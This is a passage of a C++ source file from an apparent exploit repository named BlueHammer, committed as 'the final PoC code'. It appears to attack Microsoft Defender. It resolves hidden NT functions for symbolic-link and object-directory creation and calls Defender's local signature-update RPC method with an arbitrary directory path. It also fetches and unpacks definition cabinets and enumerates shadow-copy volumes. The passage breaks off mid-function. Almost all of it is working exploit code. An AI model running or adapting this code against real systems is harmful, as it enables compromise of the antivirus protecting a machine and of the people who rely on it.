Files
BlueHammer/FunnyApp.cpp
Nightmare-Eclipse bed154d74f Updating the final PoC code
The previous PoC that was uploaded was just testing code, this was supposed to be the final release.
2026-04-09 04:43:50 +02:00

3314 lines
90 KiB
C++

#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <Windows.h>
#include <Lmcons.h>
#include <wininet.h>
#include <string.h>
#include <fdi.h>
#include <fcntl.h>
#include <winternl.h>
#include <conio.h>
#include <Shlwapi.h>
#include <ktmw32.h>
#include <wuapi.h>
#include <ntstatus.h>
#include <cfapi.h>
#include <aclapi.h>
#include "windefend_h.h"
/*
#include <openssl/ssl.h>
#include <openssl/err.h>
#include <openssl/aes.h>
#include <openssl/evp.h>
#include <openssl/sha.h>
#include <openssl/provider.h>
#include <openssl/hmac.h>
*/
#include "offreg.h"
#define _NTDEF_
#include <ntsecapi.h>
#include <sddl.h>
#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "ktmw32.lib")
#pragma comment(lib, "Shlwapi.lib")
#pragma comment(lib, "Rpcrt4.lib")
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "Cabinet.lib")
#pragma comment(lib, "Wuguid.lib")
#pragma comment(lib,"CldApi.lib")
/// NT routines and definitions
HMODULE hm = GetModuleHandle(L"ntdll.dll");
NTSTATUS(WINAPI* _NtCreateSymbolicLinkObject)(
OUT PHANDLE pHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PUNICODE_STRING DestinationName) = (NTSTATUS(WINAPI*)(
OUT PHANDLE pHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PUNICODE_STRING DestinationName))GetProcAddress(hm, "NtCreateSymbolicLinkObject");
NTSTATUS(WINAPI* _NtOpenDirectoryObject)(
PHANDLE DirectoryHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes
) = (NTSTATUS(WINAPI*)(
PHANDLE DirectoryHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes
))GetProcAddress(hm, "NtOpenDirectoryObject");;
NTSTATUS(WINAPI* _NtQueryDirectoryObject)(
HANDLE DirectoryHandle,
PVOID Buffer,
ULONG Length,
BOOLEAN ReturnSingleEntry,
BOOLEAN RestartScan,
PULONG Context,
PULONG ReturnLength
) = (NTSTATUS(WINAPI*)(
HANDLE DirectoryHandle,
PVOID Buffer,
ULONG Length,
BOOLEAN ReturnSingleEntry,
BOOLEAN RestartScan,
PULONG Context,
PULONG ReturnLength
))GetProcAddress(hm, "NtQueryDirectoryObject");
NTSTATUS(WINAPI* _NtSetInformationFile)(
HANDLE FileHandle,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID FileInformation,
ULONG Length,
FILE_INFORMATION_CLASS FileInformationClass
) = (NTSTATUS(WINAPI*)(
HANDLE FileHandle,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID FileInformation,
ULONG Length,
FILE_INFORMATION_CLASS FileInformationClass
))GetProcAddress(hm, "NtSetInformationFile");
NTSTATUS(WINAPI* _NtCreateDirectoryObjectEx)(
OUT PHANDLE DirectoryHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN HANDLE ShadowDirectoryHandle,
IN ULONG Flags) =
(NTSTATUS(WINAPI*)(
OUT PHANDLE DirectoryHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN HANDLE ShadowDirectoryHandle,
IN ULONG Flags))GetProcAddress(hm,"NtCreateDirectoryObjectEx");
#define RtlOffsetToPointer(Base, Offset) ((PUCHAR)(((PUCHAR)(Base)) + ((ULONG_PTR)(Offset))))
typedef struct _FILE_DISPOSITION_INFORMATION_EX {
ULONG Flags;
} FILE_DISPOSITION_INFORMATION_EX, * PFILE_DISPOSITION_INFORMATION_EX;
typedef struct _OBJECT_DIRECTORY_INFORMATION {
UNICODE_STRING Name;
UNICODE_STRING TypeName;
} OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION;
typedef struct _REPARSE_DATA_BUFFER {
ULONG ReparseTag;
USHORT ReparseDataLength;
USHORT Reserved;
union {
struct {
USHORT SubstituteNameOffset;
USHORT SubstituteNameLength;
USHORT PrintNameOffset;
USHORT PrintNameLength;
ULONG Flags;
WCHAR PathBuffer[1];
} SymbolicLinkReparseBuffer;
struct {
USHORT SubstituteNameOffset;
USHORT SubstituteNameLength;
USHORT PrintNameOffset;
USHORT PrintNameLength;
WCHAR PathBuffer[1];
} MountPointReparseBuffer;
struct {
UCHAR DataBuffer[1];
} GenericReparseBuffer;
} DUMMYUNIONNAME;
} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;
#define REPARSE_DATA_BUFFER_HEADER_LENGTH FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer)
//////////////// NT DEF END
// definitions of structures used by threads that invoke WD RPC calls
struct WDRPCWorkerThreadArgs
{
HANDLE hntfythread;
HANDLE hevent;
RPC_STATUS res;
wchar_t* dirpath;
};
typedef struct tagMPCOMPONENT_VERSION {
ULONGLONG Version;
ULARGE_INTEGER UpdateTime;
} MPCOMPONENT_VERSION, * PMPCOMPONENT_VERSION;
typedef struct tagMPVERSION_INFO {
MPCOMPONENT_VERSION Product;
MPCOMPONENT_VERSION Service;
MPCOMPONENT_VERSION FileSystemFilter;
MPCOMPONENT_VERSION Engine;
MPCOMPONENT_VERSION ASSignature;
MPCOMPONENT_VERSION AVSignature;
MPCOMPONENT_VERSION NISEngine;
MPCOMPONENT_VERSION NISSignature;
MPCOMPONENT_VERSION Reserved[4];
} MPVERSION_INFO, * PMPVERSION_INFO;
typedef union Version {
struct {
WORD major;
WORD minor;
WORD build;
WORD revision;
};
ULONGLONG QuadPart;
};
//////////////////
// structures and global vars used by definition update functions
void* cabbuff2 = NULL;
DWORD cabbuffsz = 0;
struct CabOpArguments {
ULONG index;
char* filename;
size_t ptroffset;
char* buff;
DWORD FileSize;
CabOpArguments* first;
CabOpArguments* next;
};
struct UpdateFiles {
char filename[MAX_PATH];
void* filebuff;
DWORD filesz;
bool filecreated;
HANDLE hsymlink;
UpdateFiles* next;
};
///////////////////////////////////////
// structures and global vars used by volume shadow copy functions
struct cldcallbackctx {
HANDLE hnotifywdaccess;
HANDLE hnotifylockcreated;
wchar_t filename[MAX_PATH];
};
struct LLShadowVolumeNames
{
wchar_t* name;
LLShadowVolumeNames* next;
};
struct cloudworkerthreadargs {
HANDLE hlock;
HANDLE hcleanupevent;
HANDLE hvssready;
};
///////////////////////////////////////
//////////////////////////////////////////////////////////////////////
// Functions required by RPC
/////////////////////////////////////////////////////////////////////
void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes)
{
return((void __RPC_FAR*) malloc(cBytes));
}
void __RPC_USER midl_user_free(void __RPC_FAR* p)
{
free(p);
}
//////////////////////////////////////////////////////////////////////
// Functions required by RPC end
/////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
// WD RPC functions
/////////////////////////////////////////////////////////////////////
void ThrowFunc()
{
throw 0;
}
void RaiseExceptionInThread(HANDLE hthread)
{
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_FULL;
SuspendThread(hthread);
if (GetThreadContext(hthread, &ctx))
{
ctx.Rip = (DWORD64)ThrowFunc;
SetThreadContext(hthread, &ctx);
ResumeThread(hthread);
}
}
void CallWD(WDRPCWorkerThreadArgs* args)
{
RPC_WSTR MS_WD_UUID = (RPC_WSTR)L"c503f532-443a-4c69-8300-ccd1fbdb3839";
RPC_WSTR StringBinding;
if (RpcStringBindingComposeW(MS_WD_UUID, (RPC_WSTR)L"ncalrpc", NULL, (RPC_WSTR)L"IMpService77BDAF73-B396-481F-9042-AD358843EC24", NULL, &StringBinding) != RPC_S_OK)
{
printf("Unexpected error while building an RPC binding from string !!!");
RaiseExceptionInThread(args->hntfythread);
return;
}
RPC_BINDING_HANDLE bindhandle = 0;
if (RpcBindingFromStringBindingW(StringBinding, &bindhandle) != RPC_S_OK)
{
printf("Failed to connect to windows defender RPC port !!!");
RaiseExceptionInThread(args->hntfythread);
return;
}
error_status_t errstat = 0;
printf("Calling ServerMpUpdateEngineSignature...\n");
//_getch();
RPC_STATUS stat = Proc42_ServerMpUpdateEngineSignature(bindhandle, NULL, args->dirpath, &errstat);
args->res = stat;
if (args->hevent)
SetEvent(args->hevent);
}
DWORD WINAPI WDCallerThread(void* args)
{
if (!args)
return ERROR_BAD_ARGUMENTS;
CallWD((WDRPCWorkerThreadArgs*)args);
return ERROR_SUCCESS;
}
//////////////////////////////////////////////////////////////////////
// WD RPC functions end
/////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
// WD definition update functions
/////////////////////////////////////////////////////////////////////
CabOpArguments* CUST_FNOPEN(const char* filename, int oflag, int pmode)
{
CabOpArguments* cbps = (CabOpArguments*)malloc(sizeof(CabOpArguments));
ZeroMemory(cbps, sizeof(CabOpArguments));
cbps->buff = (char*)cabbuff2;
cbps->FileSize = cabbuffsz;
return cbps;
}
INT CUST_FNSEEK(HANDLE hf,
long offset,
int origin)
{
if (hf)
{
CabOpArguments* CabOpArgs = (CabOpArguments*)hf;
if (origin == SEEK_SET)
CabOpArgs->ptroffset = offset;
if (origin == SEEK_CUR)
CabOpArgs->ptroffset += offset;
if (origin == SEEK_END)
CabOpArgs->ptroffset += CabOpArgs->FileSize;
return CabOpArgs->ptroffset;
}
return -1;
}
UINT CUST_FNREAD(CabOpArguments* hf,
void* const buffer,
unsigned const buffer_size)
{
if (hf)
{
CabOpArguments* CabOpArgs = (CabOpArguments*)hf;
if (CabOpArgs->buff)
{
memmove(buffer, &CabOpArgs->buff[CabOpArgs->ptroffset], buffer_size);
CabOpArgs->ptroffset += buffer_size;
//CabOpArgs->ReadBytes += buffer_size;
return buffer_size;
}
}
return NULL;
}
UINT CUST_FNWRITE(CabOpArguments* hf,
const void* buffer,
unsigned int count)
{
if (hf)
{
if (hf->buff) {
memmove(&hf->buff[hf->ptroffset], buffer, count);
hf->ptroffset += count;
return count;
}
}
return NULL;
}
INT CUST_FNCLOSE(CabOpArguments* fnFileClose)
{
free(fnFileClose);
return 0;
}
VOID* CUST_FNALLOC(size_t cb)
{
return malloc(cb);
}
VOID CUST_FNFREE(void* buff)
{
free(buff);
}
INT_PTR CUST_FNFDINOTIFY(
FDINOTIFICATIONTYPE fdinotify, PFDINOTIFICATION pfdin
) {
//printf("_FNFDINOTIFY : %d\n", fdinotify);
wchar_t newfile[MAX_PATH] = { 0 };
wchar_t filename[MAX_PATH] = { 0 };
HANDLE hfile = NULL;
ULONG rethandle = 0;
CabOpArguments** ptr = NULL;
CabOpArguments* lcab = NULL;
switch (fdinotify)
{
case fdintCOPY_FILE:
if (_stricmp(pfdin->psz1, "MpSigStub.exe") == 0)
return NULL;
ptr = (CabOpArguments**)pfdin->pv;
lcab = *ptr;
if (lcab == NULL) {
lcab = (CabOpArguments*)malloc(sizeof(CabOpArguments));
ZeroMemory(lcab, sizeof(CabOpArguments));
lcab->first = lcab;
lcab->filename = (char*)malloc(strlen(pfdin->psz1) + sizeof(char));
ZeroMemory(lcab->filename, strlen(pfdin->psz1) + sizeof(char));
memmove(lcab->filename, pfdin->psz1, strlen(pfdin->psz1));
lcab->FileSize = pfdin->cb;
lcab->buff = (char*)malloc(lcab->FileSize);
ZeroMemory(lcab->buff, lcab->FileSize);
}
else
{
lcab->next = (CabOpArguments*)malloc(sizeof(CabOpArguments));
ZeroMemory(lcab->next, sizeof(CabOpArguments));
lcab->next->first = lcab->first;
lcab = lcab->next;
lcab->filename = (char*)malloc(strlen(pfdin->psz1) + sizeof(char));
ZeroMemory(lcab->filename, strlen(pfdin->psz1) + sizeof(char));
memmove(lcab->filename, pfdin->psz1, strlen(pfdin->psz1));
lcab->FileSize = pfdin->cb;
lcab->buff = (char*)malloc(lcab->FileSize);
ZeroMemory(lcab->buff, lcab->FileSize);
}
lcab->first->index++;
*ptr = lcab;
return (INT_PTR)lcab;
break;
case fdintCLOSE_FILE_INFO:
return TRUE;
break;
default:
return 0;
}
return 0;
}
void* GetCabFileFromBuff(PIMAGE_DOS_HEADER pvRawData, ULONG cbRawData, ULONG* cabsz)
{
if (cbRawData < sizeof(IMAGE_DOS_HEADER))
{
return 0;
}
if (pvRawData->e_magic != IMAGE_DOS_SIGNATURE)
{
return 0;
}
ULONG e_lfanew = pvRawData->e_lfanew, s = e_lfanew + sizeof(IMAGE_NT_HEADERS);
if (e_lfanew >= s || s > cbRawData)
{
return 0;
}
PIMAGE_NT_HEADERS pinth = (PIMAGE_NT_HEADERS)RtlOffsetToPointer(pvRawData, e_lfanew);
if (pinth->Signature != IMAGE_NT_SIGNATURE)
{
return 0;
}
ULONG SizeOfImage = pinth->OptionalHeader.SizeOfImage, SizeOfHeaders = pinth->OptionalHeader.SizeOfHeaders;
s = e_lfanew + SizeOfHeaders;
if (SizeOfHeaders > SizeOfImage || SizeOfHeaders >= s || s > cbRawData)
{
return 0;
}
s = FIELD_OFFSET(IMAGE_NT_HEADERS, OptionalHeader) + pinth->FileHeader.SizeOfOptionalHeader;
if (s > SizeOfHeaders)
{
return 0;
}
ULONG NumberOfSections = pinth->FileHeader.NumberOfSections;
PIMAGE_SECTION_HEADER pish = (PIMAGE_SECTION_HEADER)RtlOffsetToPointer(pinth, s);
ULONG Size;
if (NumberOfSections)
{
if (e_lfanew + s + NumberOfSections * sizeof(IMAGE_SECTION_HEADER) > SizeOfHeaders)
{
return 0;
}
do
{
if (Size = min(pish->Misc.VirtualSize, pish->SizeOfRawData))
{
union {
ULONG VirtualAddress, PointerToRawData;
};
VirtualAddress = pish->VirtualAddress, s = VirtualAddress + Size;
if (VirtualAddress > s || s > SizeOfImage)
{
return 0;
}
PointerToRawData = pish->PointerToRawData, s = PointerToRawData + Size;
if (PointerToRawData > s || s > cbRawData)
{
return 0;
}
char rsrc[] = ".rsrc";
if (memcmp(pish->Name, rsrc, sizeof(rsrc)) == 0)
{
typedef struct _IMAGE_RESOURCE_DIRECTORY2 {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
WORD NumberOfNamedEntries;
WORD NumberOfIdEntries;
IMAGE_RESOURCE_DIRECTORY_ENTRY DirectoryEntries[];
} IMAGE_RESOURCE_DIRECTORY2, * PIMAGE_RESOURCE_DIRECTORY2;
PIMAGE_RESOURCE_DIRECTORY2 pird = (PIMAGE_RESOURCE_DIRECTORY2)RtlOffsetToPointer(pvRawData, pish->PointerToRawData);
PIMAGE_RESOURCE_DIRECTORY2 prsrc = pird;
PIMAGE_RESOURCE_DIRECTORY_ENTRY pirde = { 0 };
PIMAGE_RESOURCE_DATA_ENTRY pdata = 0;
while (pird->NumberOfNamedEntries + pird->NumberOfIdEntries)
{
pirde = &pird->DirectoryEntries[0];
if (!pirde->DataIsDirectory)
{
pdata = (PIMAGE_RESOURCE_DATA_ENTRY)RtlOffsetToPointer(prsrc, pirde->OffsetToData);
pdata->OffsetToData -= pish->VirtualAddress - pish->PointerToRawData;
void* cabfile = RtlOffsetToPointer(pvRawData, pdata->OffsetToData);
if (cabsz)
*cabsz = pdata->Size;
return cabfile;
}
pird = (PIMAGE_RESOURCE_DIRECTORY2)RtlOffsetToPointer(prsrc, pirde->OffsetToDirectory);
}
break;
}
}
} while (pish++, --NumberOfSections);
}
return NULL;
}
UpdateFiles* GetUpdateFiles(int* filecount = NULL)
{
HINTERNET hint = NULL;
HINTERNET hint2 = NULL;
char data[0x1000] = { 0 };
DWORD index = 0;
DWORD sz = sizeof(data);
bool res2 = 0;
wchar_t filesz[50] = { 0 };
LARGE_INTEGER li = { 0 };
GUID uid = { 0 };
RPC_WSTR wuid = { 0 };
wchar_t* wuid2 = 0;
wchar_t envstr[MAX_PATH] = { 0 };
wchar_t mpampath[MAX_PATH] = { 0 };
HANDLE hmpap = NULL;
void* exebuff = NULL;
DWORD readsz = 0;
HANDLE hmapping = NULL;
void* mappedbuff = NULL;
HRSRC hres = NULL;
DWORD ressz = NULL;
HGLOBAL cabbuff = NULL;
char fname[] = "update.cab";
ERF erfstruct = { 0 };
HFDI hcabctx = NULL;
bool extractres = false;
DWORD totalsz = 0;
HANDLE hmpeng = NULL;
CabOpArguments* CabOpArgs = NULL;
CabOpArguments* mpenginedata = NULL;
void* dllview = NULL;
char** filesmtrx = 0;
UpdateFiles* firstupdt = NULL;
UpdateFiles* current = NULL;
DWORD nbytes = 0;
printf("Downloading updates...\n");
hint = InternetOpen(L"Chrome/141.0.0.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, NULL);
if (!hint)
{
printf("Failed to open internet, error : %d", GetLastError());
goto cleanup;
}
hint2 = InternetOpenUrl(hint, L"https://go.microsoft.com/fwlink/?LinkID=121721&arch=x64", NULL, NULL, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD, NULL);
//InternetCloseHandle(hint);
if (!hint2)
{
printf("Failed to open internet URL, error : %d", GetLastError());
goto cleanup;
}
res2 = HttpQueryInfo(hint2, HTTP_QUERY_CONTENT_LENGTH, data, &sz, &index);
if (!res2)
{
printf("Failed to query update size, error : %d", GetLastError());
goto cleanup;
}
wcscpy(filesz, (LPWSTR)data);
sz = _wtoi(filesz);
li.QuadPart = sz;
exebuff = malloc(sz);
if (!exebuff)
{
printf("Failed to allocate memory to download file !!!");
goto cleanup;
}
ZeroMemory(exebuff, sz);
if (!InternetReadFile(hint2, exebuff, sz, &readsz) || readsz != sz)
{
printf("Failed to download update from internet, error : %d", GetLastError());
goto cleanup;
}
InternetCloseHandle(hint);
hint = NULL;
InternetCloseHandle(hint2);
hint = NULL;
printf("Done.\n");
mappedbuff = GetCabFileFromBuff((PIMAGE_DOS_HEADER)exebuff, sz, &ressz);
if (!mappedbuff)
{
printf("Failed to retrieve cabinet file from downloaded file.\n");
goto cleanup;
}
printf("Cabinet file mapped at 0x%p\n", mappedbuff);
cabbuff2 = mappedbuff;
cabbuffsz = ressz;
printf("Extracting cab file content...\n");
hcabctx = FDICreate((PFNALLOC)CUST_FNALLOC, CUST_FNFREE, (PFNOPEN)CUST_FNOPEN, (PFNREAD)CUST_FNREAD, (PFNWRITE)CUST_FNWRITE, (PFNCLOSE)CUST_FNCLOSE, (PFNSEEK)CUST_FNSEEK, cpuUNKNOWN, &erfstruct);
if (!hcabctx)
{
printf("Failed to create cab context, error : 0x%x", erfstruct.erfOper);
goto cleanup;
}
extractres = FDICopy(hcabctx, (char*)"\\update.cab", (char*)"C:\\temp", NULL, (PFNFDINOTIFY)CUST_FNFDINOTIFY, NULL, &CabOpArgs);
if (!extractres)
{
printf("Failed to extract cab file, error : 0x%x", erfstruct.erfOper);
goto cleanup;
}
FDIDestroy(hcabctx);
hcabctx = NULL;
if (!CabOpArgs)
{
printf("Unexpected empty buffer after extracting cab file.\n");
return NULL;
}
CabOpArgs = CabOpArgs->first;
firstupdt = (UpdateFiles*)malloc(sizeof(UpdateFiles));
ZeroMemory(firstupdt, sizeof(UpdateFiles));
current = firstupdt;
while (CabOpArgs)
{
if (filecount)
*filecount += 1;
strcpy(current->filename, CabOpArgs->filename);
DWORD buffsz = CabOpArgs->FileSize;
current->filebuff = malloc(buffsz);
memmove(current->filebuff, CabOpArgs->buff, buffsz);
current->filesz = buffsz;
CabOpArgs = CabOpArgs->next;
if (CabOpArgs)
{
current->next = (UpdateFiles*)malloc(sizeof(UpdateFiles));
ZeroMemory(current->next, sizeof(UpdateFiles));
current = current->next;
}
}
printf("Cab file content extracted.\n");
cleanup:
if (CabOpArgs)
{
CabOpArguments* current = CabOpArgs->first;
while (current)
{
free(current->buff);
free(current->filename);
CabOpArgs = current;
current = current->next;
free(CabOpArgs);
}
}
if (hint)
InternetCloseHandle(hint);
if (hint2)
InternetCloseHandle(hint2);
if (exebuff)
free(exebuff);
return firstupdt;
}
bool CheckForWDUpdates(wchar_t* updatetitle, bool* criterr)
{
IUpdateSearcher* updsrch = 0;
bool updatesfound = false;
IUpdateSession* updsess = 0;
CLSID clsid;
HRESULT hr = CLSIDFromProgID(OLESTR("Microsoft.Update.Session"), &clsid);
ISearchResult* srchres = 0;
IUpdateCollection* updcollection = 0;
LONG updnum = 0;
BSTR title = 0;
BSTR desc = 0;
ICategoryCollection* catcoll = 0;
ICategory* cat = 0;
BSTR catname = 0;
IUpdate* upd = 0;
bool comini = CoInitialize(NULL) == 0;
if (!comini) {
printf("Failed to initialize COM\n");
*criterr = true;
return false;
}
hr = CoCreateInstance(clsid, NULL, CLSCTX_INPROC_SERVER, IID_IUpdateSession, (LPVOID*)&updsess);
if (!updsess)
{
printf("CoCreateInstance returned a NULL pointer.\n");
*criterr = true;
goto cleanup;
}
//printf("CoCreateInstance : 0x%p\n", updsess);
hr = updsess->CreateUpdateSearcher(&updsrch);
if (hr)
{
printf("IUpdateSearcher->CreateUpdateSearcher failed with error : 0x%0.X", hr);
*criterr = true;
goto cleanup;
}
if (!updsrch)
{
printf("IUpdateSearcher->CreateUpdateSearcher returned a NULL pointer.\n");
*criterr = true;
goto cleanup;
}
//printf("IUpdateSearcher->CreateUpdateSearcher : 0x%p\n", updsrch);
//printf("Checking for updates, please wait...\n");
hr = updsrch->Search(SysAllocString(L""), &srchres);
if (hr)
{
printf("ISearchResult->Search failed with error : 0x%0.X", hr);
*criterr = true;
goto cleanup;
}
//printf("ISearchResult->Search : 0x%p\n", srchres);
hr = srchres->get_Updates(&updcollection);
if (hr)
{
printf("IUpdateCollection->get_Updates failed with error : 0x%0.X", hr);
*criterr = true;
goto cleanup;
}
if (!updcollection)
{
printf("IUpdateCollection->get_Updates returned a NULL pointer.\n");
*criterr = true;
goto cleanup;
}
//printf("IUpdateCollection->get_Updates : 0x%p\n", updcollection);
hr = updcollection->get_Count(&updnum);
if (hr)
{
printf("IUpdateCollection->get_Count failed with error : 0x%0.X", hr);
*criterr = true;
goto cleanup;
}
//printf("Updates count : %d\n", updnum);
for (LONG i = 0; i < updnum; i++)
{
if (upd)
{
upd->Release();
upd = 0;
}
title = 0;
desc = 0;
catname = 0;
//printf("_________________________________________\n");
bool IsWdUdpate = false;
bool IsSigUpdate = false;
hr = updcollection->get_Item(i, &upd);
if (hr)
{
printf("IUpdateCollection->get_Item failed with error : 0x%0.X", hr);
*criterr = true;
goto cleanup;
}
if (!upd)
{
printf("IUpdateCollection->get_Item returned a NULL pointer.\n");
*criterr = true;
goto cleanup;
}
//printf("Update number : %d\n", i + 1);
hr = upd->get_Title(&title);
if (hr)
{
printf("IUpdateCollection->get_Title failed with error : 0x%0.X", hr);
continue;
}
if (!title)
{
printf("IUpdateCollection->get_Item returned a NULL pointer.\n");
continue;
}
title[SysStringLen(title)] = NULL;
//printf("Title : %ws\n", title);
/*
desc = 0;
upd->get_Description(&desc);
if (!desc)
{
printf("IUpdateCollection->get_Item returned a NULL pointer.\n");
continue;
}
desc[SysStringLen(desc)] = NULL;
printf("Description : %ws\n", desc);
*/
catcoll = 0;
hr = upd->get_Categories(&catcoll);
if (!catcoll)
{
printf("IUpdateCollection->get_Categories returned a NULL pointer.\n");
continue;
}
LONG catcount = 0;
hr = catcoll->get_Count(&catcount);
for (LONG j = 0; j < catcount; j++)
{
cat = 0;
hr = catcoll->get_Item(j, &cat);
if (!cat)
{
printf("ICategoryCollection->get_Item returned NULL pointer.\n");
continue;
}
catname = 0;
cat->get_Name(&catname);
catname[SysStringLen(catname)] = NULL;
//printf("Category name : %ws\n", catname);
if (catname)
{
if (!IsWdUdpate)
IsWdUdpate = _wcsicmp(catname, L"Microsoft Defender Antivirus") == 0;
if (!IsSigUpdate)
IsSigUpdate = _wcsicmp(catname, L"Definition Updates") == 0;
}
}
updatesfound = IsWdUdpate && IsSigUpdate;
if (updatesfound)
break;
}
if (updatesfound && updatetitle) {
memmove(updatetitle, title, lstrlenW(title) * sizeof(wchar_t));
}
cleanup:
if (updcollection)
updcollection->Release();
if (srchres)
srchres->Release();
if (updsrch)
updsrch->Release();
if (updsess)
updsess->Release();
if (upd)
upd->Release();
CoUninitialize();
return updatesfound;
}
//////////////////////////////////////////////////////////////////////
// WD definition update functions end
/////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
// Volume shadow copy functions
/////////////////////////////////////////////////////////////////////
void rev(char* s) {
// Initialize l and r pointers
int l = 0;
int r = strlen(s) - 1;
char t;
// Swap characters till l and r meet
while (l < r) {
// Swap characters
t = s[l];
s[l] = s[r];
s[r] = t;
// Move pointers towards each other
l++;
r--;
}
}
void DestroyVSSNamesList(LLShadowVolumeNames* First)
{
while (First)
{
free(First->name);
LLShadowVolumeNames* next = First->next;
free(First);
First = next;
}
}
LLShadowVolumeNames* RetrieveCurrentVSSList(HANDLE hobjdir, bool* criticalerr, int* vscnumber, DWORD* errorcode)
{
if (!criticalerr || !vscnumber || !errorcode)
return NULL;
*vscnumber = 0;
ULONG scanctx = 0;
ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2);
ULONG retsz = 0;
OBJECT_DIRECTORY_INFORMATION* objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);
if (!objdirinfo)
{
printf("Failed to allocate required buffer to query object manager directory.\n");
*criticalerr = true;
*errorcode = ERROR_NOT_ENOUGH_MEMORY;
return NULL;
}
ZeroMemory(objdirinfo, reqsz);
NTSTATUS stat = STATUS_SUCCESS;
do
{
stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, FALSE, &scanctx, &retsz);
if (stat == STATUS_SUCCESS)
break;
else if (stat != STATUS_MORE_ENTRIES)
{
printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat);
*criticalerr = true;
*errorcode = RtlNtStatusToDosError(stat);
return NULL;
}
free(objdirinfo);
reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100;
objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);
if (!objdirinfo)
{
printf("Failed to allocate required buffer to query object manager directory.\n");
*criticalerr = true;
*errorcode = ERROR_NOT_ENOUGH_MEMORY;
return NULL;
}
ZeroMemory(objdirinfo, reqsz);
} while (1);
void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION));
ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION));
LLShadowVolumeNames* LLVSScurrent = NULL;
LLShadowVolumeNames* LLVSSfirst = NULL;
for (ULONG i = 0; i < ULONG_MAX; i++)
{
if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0)
{
free(emptybuff);
break;
}
if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0)
{
wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" };
if (objdirinfo[i].Name.Length >= sizeof(cmpstr))
{
if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0)
{
(*vscnumber)++;
if (LLVSScurrent)
{
LLVSScurrent->next = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames));
if (!LLVSScurrent->next)
{
printf("Failed to allocate memory.\n");
*criticalerr = true;
*errorcode = ERROR_NOT_ENOUGH_MEMORY;
DestroyVSSNamesList(LLVSSfirst);
free(objdirinfo);
return NULL;
}
ZeroMemory(LLVSScurrent->next, sizeof(LLShadowVolumeNames));
LLVSScurrent = LLVSScurrent->next;
LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t));
if (!LLVSScurrent->name)
{
printf("Failed to allocate memory !!!\n");
*errorcode = ERROR_NOT_ENOUGH_MEMORY;
*criticalerr = true;
DestroyVSSNamesList(LLVSSfirst);
free(objdirinfo);
return NULL;
}
ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t));
memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length);
}
else
{
LLVSSfirst = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames));
if (!LLVSSfirst)
{
printf("Failed to allocate memory.\n");
*errorcode = ERROR_NOT_ENOUGH_MEMORY;
*criticalerr = true;
DestroyVSSNamesList(LLVSSfirst);
free(objdirinfo);
return NULL;
}
ZeroMemory(LLVSSfirst, sizeof(LLShadowVolumeNames));
LLVSScurrent = LLVSSfirst;
LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t));
if (!LLVSScurrent->name)
{
printf("Failed to allocate memory !!!\n");
*errorcode = ERROR_NOT_ENOUGH_MEMORY;
*criticalerr = true;
DestroyVSSNamesList(LLVSSfirst);
free(objdirinfo);
return NULL;
}
ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t));
memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length);
}
}
}
}
}
free(objdirinfo);
return LLVSSfirst;
}
DWORD WINAPI ShadowCopyFinderThread(void* fullvsspath)
{
wchar_t devicepath[] = L"\\Device";
UNICODE_STRING udevpath = { 0 };
RtlInitUnicodeString(&udevpath, devicepath);
OBJECT_ATTRIBUTES objattr = { 0 };
InitializeObjectAttributes(&objattr, &udevpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
NTSTATUS stat = STATUS_SUCCESS;
HANDLE hobjdir = NULL;
DWORD retval = ERROR_SUCCESS;
